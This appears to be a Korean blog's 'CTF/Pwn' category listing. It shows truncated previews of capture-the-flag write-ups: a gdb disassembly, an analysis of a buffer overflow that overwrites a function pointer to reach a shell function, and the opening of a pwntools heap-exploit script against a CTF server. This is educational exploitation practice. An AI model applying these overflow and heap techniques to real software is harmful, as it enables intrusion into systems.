CTF/Pwn

· CTF/Pwn
nc ctf.j0n9hyun.xyz 3000 gef➤ disas main Dump of assembler code for function main: 0x080484cb : lea ecx,[esp+0x4] 0x080484cf : and esp,0xfffffff0 0x080484d2 : push DWORD PTR [ecx-0x4] 0x080484d5 : push ebp 0x080484d6 : mov ebp,esp 0x080484d8 : push ecx 0x080484d9 : sub esp,0x34 0x080484dc : mov DWORD PTR [ebp-0xc],0x4030201 0x080484e3 : mov eax,ds:0x804a040 0x080484e8 : sub esp,0x4 0x080484eb : ..
· CTF/Pwn
nc ctf.j0n9hyun.xyz 3001 ghidra로 까서 본 main 함수 fgets 함수로 0x85(132)만큼 문자를 받아오고, sup이라는 함수를 실행한다. sup 함수에는 출력함수 puts만 있다. 다른 함수는 쉘 여는 shell 함수가 있다. kali에서 gdb로 본 main 함수 위와 같이 fgets 함수 전에 을 보면 ebp-0x8c에 받아온 문자열이 저장되고, 후에 에서는 eax에 ebp-0xc에 있는 값을 넣어 eax를 호출하는 것을 보니 아마 ebp-0xc에는 sup의 주소가 들어가있을 것이다. 에 bp를 걸고 임의의 값을 넣어 확인해본 결과, main 함수에서 확인한 것과 같이 0xffffd24c [ebp-0x8c]에 입력값이 저장되고, ghidra와 gdb info funct..
· CTF/Pwn
Diaries -- fun to read, painful to keep nc diary.balsnctf.com 10101 Source Code 아직 정확히는 이해를 못해서 더 heap에 대해 알아봐야할 것 같다. #!/usr/bin/env python3 from pwn import * context.arch = 'amd64' #r = process('./diary', env={'LD_PRELOAD':'./libc-2.29.so'}) r = remote('diary.balsnctf.com', 10101) def cmd(x): r.recvuntil('choice : ') r.send(str(x)) def ss(): cmd(1) def ww(l, s): cmd(2) r.recvuntil('Length : ')..
기넌
'CTF/Pwn' 카테고리의 글 목록